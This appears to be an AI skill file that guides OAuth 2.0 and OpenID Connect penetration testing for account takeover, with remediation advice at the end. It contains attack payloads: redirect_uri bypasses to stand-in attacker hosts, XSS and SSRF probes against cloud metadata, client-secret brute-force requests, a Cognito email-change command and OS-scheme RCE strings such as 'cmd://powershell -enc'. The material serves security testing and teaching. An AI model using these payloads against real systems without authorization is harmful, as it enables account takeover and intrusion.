Hacktricks-skills oauth-pentest
Security testing for OAuth 2.0 and OIDC implementations. Use this skill whenever the user mentions OAuth, authentication flows, account takeover, identity providers, SSO, login flows, authorization codes, access tokens, or any security testing related to third-party authentication. This skill helps identify vulnerabilities like open redirect_uri, CSRF state issues, token leakage, client secret exposure, and other OAuth misconfigurations that lead to account compromise.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/oauth-to-account-takeover/SKILL.MDOAuth Security Testing
A comprehensive guide for testing OAuth 2.0 and OpenID Connect implementations for security vulnerabilities that could lead to account takeover.
Quick Start
When testing an OAuth implementation, follow this checklist:
- Map the OAuth flow - Identify all endpoints, parameters, and redirect URIs
- Test redirect_uri validation - Check for open redirects and weak validation
- Verify state parameter handling - Ensure CSRF protection is properly implemented
- Check token handling - Look for token leakage in URLs, storage, or logs
- Test client secret protection - Verify secrets aren't exposed in client-side code
- Validate authorization code lifecycle - Test for replay, lifetime, and binding issues
- Review consent screen security - Check for clickjacking and prompt bypass
OAuth 2.0 Fundamentals
Key Components
| Component | Description |
|---|---|
| Resource Owner | The user whose data is being accessed |
| Resource Server | Server managing authenticated requests (e.g., socialmedia.com) |
| Client Application | Application seeking authorization (e.g., example.com) |
| Authorization Server | Server issuing access tokens after authentication |
| client_id | Public identifier for the application |
| client_secret | Confidential key (must never be exposed to users) |
| redirect_uri | URL for post-authorization redirect (must be pre-registered) |
| state | CSRF protection token (must be cryptographically random) |
| code | Authorization code exchanged for access token |
| access_token | Token used for API requests on behalf of user |
| refresh_token | Token to obtain new access tokens without re-prompting |
Standard Authorization Code Flow
1. User → Client: Clicks "Login with [Provider]" 2. Client → Auth Server: GET /auth?response_type=code&client_id=XXX&redirect_uri=YYY&scope=ZZZ&state=ABC 3. Auth Server → User: Consent screen 4. User → Auth Server: Approves 5. Auth Server → Client: GET /callback?code=DEF&state=ABC 6. Client → Auth Server: POST /token with code, client_id, client_secret 7. Auth Server → Client: Returns access_token, refresh_token 8. Client → Resource Server: API calls with access_token
Vulnerability Testing
1. Open redirect_uri
What to test: The authorization server must redirect only to pre-registered, exact redirect URIs.
Attack patterns:
# No validation - any URL accepted https://idp.example/auth?redirect_uri=https://attacker.tld/callback # Weak substring checks - bypass with lookalikes https://idp.example/auth?redirect_uri=https://evilmatch.com https://idp.example/auth?redirect_uri=https://match.com.evil.com https://idp.example/auth?redirect_uri=https://match.com.mx https://idp.example/auth?redirect_uri=https://evil.com#match.com https://idp.example/auth?redirect_uri=https://match.com@evil.com # IDN homograph attacks https://idp.example/auth?redirect_uri=https://xn--example.com (redirects to Unicode domain) # Path traversal on allowed hosts https://idp.example/auth?redirect_uri=https://example.com/oauth/../anything # Wildcard subdomain abuse https://idp.example/auth?redirect_uri=https://attacker.example.com/callback # Non-HTTPS callbacks https://idp.example/auth?redirect_uri=http://example.com/callback
Testing steps:
- Identify the registered redirect_uri in the OAuth flow
- Try replacing the domain with attacker-controlled domains
- Test substring bypasses if validation exists
- Check for path traversal on allowed hosts
- Verify HTTPS enforcement
- Review auxiliary parameters:
,client_uri
,policy_uri
,tos_uriinitiate_login_uri - Check
for additional endpoints/.well-known/openid-configuration
2. Redirect Token Leakage on Allowlisted Domains
What to test: Even "trusted" domains can leak tokens if they have attacker-controlled paths.
Attack pattern:
1. Start legitimate OAuth flow to get pre-token 2. Craft authorization URL with allowlisted domain but attacker-controlled path: https://apps.facebook.com/<attacker_app> 3. After approval, IdP redirects with tokens in URL 4. JavaScript on attacker page reads window.location and exfiltrates 5. Replay captured tokens against privileged endpoints
Testing steps:
- Identify allowlisted redirect domains
- Check if they support user-controlled paths (legacy apps, user namespaces, CMS)
- Create a test page on the allowlisted domain
- Set it as redirect_uri and verify tokens appear in URL
- Attempt to exfiltrate via JavaScript
- Test replay against downstream endpoints
3. XSS in Redirect Implementation
What to test: Redirect URLs reflected in responses may be vulnerable to XSS.
Test payload:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
Testing steps:
- Find redirect parameters in login/auth flows
- Inject XSS payloads into redirect URLs
- Check if reflected without encoding
- Test in various contexts: query params, fragments, headers
4. CSRF - State Parameter Issues
What to test: The
state parameter must be cryptographically random, per-session, and validated.
Checklist:
-
parameter present in authorization requeststate -
is cryptographically random (not predictable)state -
is validated on callback (same value returned)state -
is tied to user session (cookie, local storage)state -
cannot be user-supplied (fixation prevention)state - Missing
still works? (opt-in defense)state - Tampered
accepted? (validation bypass)state
Attack pattern:
1. Attacker authenticates with their account 2. Captures final redirect with ?code=XXX&state=YYY 3. Drops request, keeps URL 4. Forces victim browser to load URL (link, iframe, form) 5. If state not validated, victim account links to attacker's IdP profile
Testing steps:
- Remove
from authorization request - does it still work?state - Tamper with
in response - is it rejected?state - Check if
is predictable (redirect paths, JSON blobs without entropy)state - Test state fixation - can you supply your own
value?state - Verify
is bound to session (different users, different sessions)state
5. Pre-Account Takeover
What to test: Account creation without email verification can enable takeover.
Attack patterns:
-
Pre-registration:
- Attacker creates account with victim's email
- Victim later uses OAuth login
- App links OAuth account to attacker's pre-created account
-
Lax OAuth email verification:
- Attacker registers with OAuth provider
- Changes email to victim's address
- Victim's OAuth login links to attacker's account
Testing steps:
- Create account with victim's email (no verification)
- Attempt OAuth login with same email
- Check if accounts merge or link
- Test OAuth provider email change flows
6. Client Secret Disclosure
What to test:
client_secret must never be recoverable by end users.
Where to look:
- Mobile APKs/IPAs (unpack and grep)
- Desktop installers
- Electron apps
- Single-page applications
- Bundled config files (plist, JSON, XML)
- Decompiled strings
Testing steps:
# Unpack and search for secrets unzip app.apk -d app/ grep -r "client_secret" app/ grep -r "oauth" app/ # Check for Base64 encoded secrets strings app.apk | base64 -d 2>/dev/null | grep -i "secret\|token\|key" # Review config files cat app/Info.plist cat app/config.json
If secret is found:
- Capture any victim authorization
(via redirect_uri bug, logs, etc.)code - Exchange code for token independently:
POST /oauth/access_token Content-Type: application/x-www-form-urlencoded client_id=XXX&client_secret=YYY&code=ZZZ&grant_type=authorization_code - Verify PKCE is not required (public clients should use PKCE, not secrets)
7. Client Secret Brute Force
What to test: Weak client secrets can be brute-forced.
Test request:
POST /token HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: target.com code=77515&redirect_uri=http://target.com/callback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Testing steps:
- Capture a valid authorization code
- Use Burp Intruder to brute-force
client_secret - Look for different response codes/sizes indicating success
- Test common weak secrets:
,secret
,password
, client_id itself123456
8. Referer/Header/Location Artifacts
What to test: OAuth codes and tokens leaked via HTTP headers or browser APIs.
Attack patterns:
-
Classic Referer leak:
- OAuth redirect includes
in URL?code=&state= - Any navigation sends Referer header to CDNs/analytics/ads
- Third parties receive OAuth artifacts
- OAuth redirect includes
-
Telemetry confused deputy:
- SDKs react to
eventspostMessage - Send
/location.href
to backend APIsreferrer - Attacker injects token into flow
- Later reads SDK API logs to recover OAuth artifacts
- SDKs react to
Testing steps:
- Check if
/code
appear in URL after OAuth redirectstate - Monitor Referer headers sent to third parties
- Check analytics/telemetry SDKs for URL logging
- Test
relay attackspostMessage - Review server logs for OAuth parameter exposure
9. Access Token in Browser History
What to test: Access tokens should never reach the browser in Authorization Code flow.
Check for:
- Tokens in URL query/fragment
- Tokens in browser history
- Tokens in server logs
- Tokens in JavaScript state (React/Vue stores, global variables)
- Tokens in Web Storage (localStorage/sessionStorage)
- Tokens over HTTP (not HTTPS)
- Tokens through debugging/corporate proxies
Impact: Any XSS, Referer leak, or proxy logging becomes instant account compromise.
10. Authorization Code Lifecycle
What to test: Codes must be short-lived, single-use, and replay-aware.
Testing steps:
-
Lifetime test:
- Capture authorization code
- Wait 5-10 minutes
- Attempt to redeem - should fail
-
Sequential reuse test:
- Redeem code once (success)
- Redeem same code again - should fail
-
Concurrent redemption test:
- Fire two token requests in parallel
- Only one should succeed
-
Replay handling test:
- Attempt reuse after successful redemption
- Verify any minted tokens are revoked
11. Token Binding to Client
What to test: Authorization codes must be bound to the issuing client.
Testing steps:
- Capture
for App Acode - Send to App B's token endpoint
- If token is returned, audience binding is broken
- Test first-party token minting endpoints
- Check if arbitrary
/state
acceptedapp_id - Verify nonce/redirect URI validation
12. Response Mode Variations
What to test: Different response modes may have different security properties.
response_mode=query -> ?code=2397rf3gu93f (in URL, visible in history/logs) response_mode=fragment -> #code=2397rf3gu93f (not sent to server, but in browser) response_mode=form_post -> POST form with code (more secure) response_mode=web_message -> postMessage (requires careful implementation)
Testing steps:
- Try each response_mode value
- Check if server accepts all modes
- Verify security implications of each mode
- Test for mode confusion attacks
13. Prompt Parameter Bypass
What to test:
prompt=none may bypass user consent.
Test:
https://idp.example/auth?response_type=code&client_id=XXX&redirect_uri=YYY&prompt=none
Testing steps:
- Add
to authorization requestprompt=none - Check if consent screen is skipped
- Verify this is only allowed for trusted flows
- Test with
,prompt=login
,prompt=consentprompt=select_account
14. Clickjacking Consent Dialogs
What to test: OAuth consent/login dialogs should not be frameable.
Testing steps:
- Load IdP authorization URL in iframe:
<iframe sandbox="allow-forms allow-scripts allow-same-origin" src="https://idp.example/auth?..."></iframe> - Check for
X-Frame-Options: DENY/SAMEORIGIN - Check for
Content-Security-Policy: frame-ancestors 'none' - If frameable, create clickjacking PoC with overlaid buttons
- Use NCC Group's clickjacking PoC generator
15. OAuth ROPC Flow - 2FA Bypass
What to test: Resource Owner Password Credentials flow may bypass 2FA.
What to look for:
- OAuth endpoints accepting username/password directly
- Tokens returned with full user permissions
- No 2FA challenge in the flow
Testing steps:
- Find ROPC endpoint (usually
with/token
)grant_type=password - Test with username/password
- Check if 2FA is required
- Verify token permissions
16. AWS Cognito Abuse
What to test: Cognito tokens may have excessive permissions.
Test commands:
# Read user info aws cognito-idp get-user --region us-east-1 --access-token <token> # Change email (if permitted) aws cognito-idp update-user-attributes \ --region us-east-1 \ --access-token <token> \ --user-attributes Name=email,Value=attacker@example.com
Testing steps:
- Obtain Cognito access token
- Check token permissions
- Attempt to modify user attributes
- Test email change for account takeover
17. Abusing Other Apps' Tokens
What to test: Apps expecting tokens (not codes) may not validate token ownership.
Attack pattern:
- Attacker creates OAuth app and logs in with victim's OAuth provider
- Attacker gets victim's OAuth token for their app
- Attacker uses this token to login to victim's target app
- If target app doesn't validate token's client_id, account is compromised
Testing steps:
- Create test OAuth application
- Login with OAuth provider
- Capture the access token
- Try using token on other apps expecting OAuth tokens
- Check if client_id validation exists
18. Dynamic Client Registration SSRF
What to test: Client registration endpoints may enable SSRF.
Vulnerable parameters:
- Logo URL fetched by serverlogo_uri
- JWK document URLjwks_uri
- Redirect URI array URLsector_identifier_uri
- Request URI listrequest_uris
Test request:
POST /register Content-Type: application/json { "client_name": "Test App", "redirect_uris": ["https://example.com/callback"], "logo_uri": "http://internal-server/admin", "jwks_uri": "http://169.254.169.254/latest/meta-data/" }
Testing steps:
- Find client registration endpoint (usually
)/register - Test with internal URLs in URI parameters
- Check for SSRF indicators (different response, timeout, internal IP access)
- Test with metadata service URLs
19. OAuth Discovery URL Abuse (RCE)
What to test: Desktop clients forwarding IdP metadata to OS may enable RCE.
Attack pattern:
- Host malicious OAuth server
- Return dangerous
in discovery:authorization_endpoint{ "authorization_endpoint": "file:///c:/windows/system32/calc.exe", "token_endpoint": "https://evil/idp/token" } - Client calls OS URL handler with malicious URI
- Code executes under user context
Test payloads:
// Windows "authorization_endpoint": "file:///c:/windows/system32/calc.exe" "authorization_endpoint": "cmd://powershell -enc <base64>" // macOS/Linux "authorization_endpoint": "file:///Applications/Calculator.app/Contents/MacOS/Calculator" "authorization_endpoint": "xdg-open /etc/passwd" // Custom schemes "authorization_endpoint": "ms-excel:" "authorization_endpoint": "data:text/html,<script>alert(1)</script>"
Testing steps:
- Target OAuth-capable desktop/agent clients
- Intercept or host discovery response
- Replace endpoints with dangerous schemes
- Observe if client validates scheme/host
- Test cross-platform variations
20. Mutable Claims Attack
What to test: Relying on mutable claims (email) instead of immutable
sub can enable takeover.
Attack pattern:
- Attacker creates Azure AD organization
- Uses Microsoft login with attacker's account
- Changes email to victim's email in Entra ID
- Target app relying on email field links accounts
Testing steps:
- Check what claims the app uses for user identification
- Verify if
(immutable) or email (mutable) is usedsub - Test with OAuth providers allowing email changes
- Attempt account linking via email change
21. Client Confusion Attack
What to test: Apps not validating token's client_id can be confused.
Attack pattern:
- Attacker creates public OAuth app
- Users login, attacker harvests access tokens
- Attacker reuses tokens on vulnerable app
- If app doesn't validate client_id, accounts are compromised
Testing steps:
- Create test OAuth application
- Login and capture access token
- Try token on other apps
- Check if client_id is validated in token
22. Scope Upgrade Attack
What to test: Authorization servers trusting scope parameter in token request.
Attack pattern:
- Get authorization code with limited scope
- Request token with elevated scope parameter
- If server trusts scope parameter, token has higher privileges
Testing steps:
- Capture authorization code
- Modify scope in token request
- Check if returned token has elevated permissions
- Verify JWT signature and scope validation
23. Redirect Scheme Hijacking (Mobile)
What to test: Custom URI schemes on mobile can be hijacked.
Attack pattern:
- Multiple apps can register same URI scheme
- Attacker app registers
com.example.app:// - OAuth redirect goes to attacker app
- Attacker captures authorization code
Testing steps:
- Identify custom URI schemes used
- Check if scheme-only or scheme+path
- Test with malicious app registering same scheme
- Verify intent filter specificity on Android
Testing Workflow
Phase 1: Reconnaissance
- Identify OAuth endpoints (
,/auth
,/token
,/callback
)/register - Map all redirect URIs used
- Document OAuth parameters and their values
- Check for OpenID Connect discovery (
)/.well-known/openid-configuration - Identify OAuth providers in use
Phase 2: Vulnerability Testing
- Test redirect_uri validation (open redirect)
- Verify state parameter handling (CSRF)
- Check token storage and transmission
- Test authorization code lifecycle
- Verify client secret protection
- Test consent screen security
- Check for additional attack vectors
Phase 3: Exploitation
- Attempt account takeover with identified vulnerabilities
- Test token replay and reuse
- Verify impact of each finding
- Document exploitation steps
Phase 4: Reporting
- Document each vulnerability with:
- Description
- Impact
- Steps to reproduce
- Proof of concept
- Remediation recommendations
Remediation Guidelines
For Developers
-
redirect_uri validation:
- Use exact match against pre-registered URIs
- Validate scheme (HTTPS only)
- Normalize URLs before comparison
- Reject wildcard subdomains
-
State parameter:
- Generate cryptographically random value per session
- Store in secure, HttpOnly cookie
- Validate on callback (exact match)
- Reject if missing or mismatched
-
Token handling:
- Never expose access tokens to browser in Authorization Code flow
- Use PKCE for public clients
- Store tokens securely (not in localStorage)
- Implement token rotation
-
Client secrets:
- Never embed in client-side code
- Use PKCE for mobile/desktop apps
- Rotate secrets regularly
- Monitor for leaked secrets
-
Authorization codes:
- Short lifetime (5-10 minutes)
- Single-use only
- Bind to client_id and redirect_uri
- Revoke on reuse attempt
For Security Teams
- Regularly audit OAuth implementations
- Monitor for leaked client secrets
- Test third-party OAuth integrations
- Implement OAuth security monitoring
- Review consent screen configurations
References
- OAuth 2.0 Documentation
- RFC 6749 - OAuth 2.0 Specification
- RFC 7636 - PKCE
- PortSwigger OAuth Research
- Doyensec OAuth Vulnerabilities
- NCC Group Authorization Code Guide
- Amla Labs OAuth RCE
Tools
- Burp Suite - Intercept and modify OAuth flows
- OAuth Tester - Automated OAuth vulnerability scanning
- Postman - Test OAuth endpoints
- NCC Group Clickjacking PoC - Test consent screen framing
- Custom scripts - See bundled scripts for common tests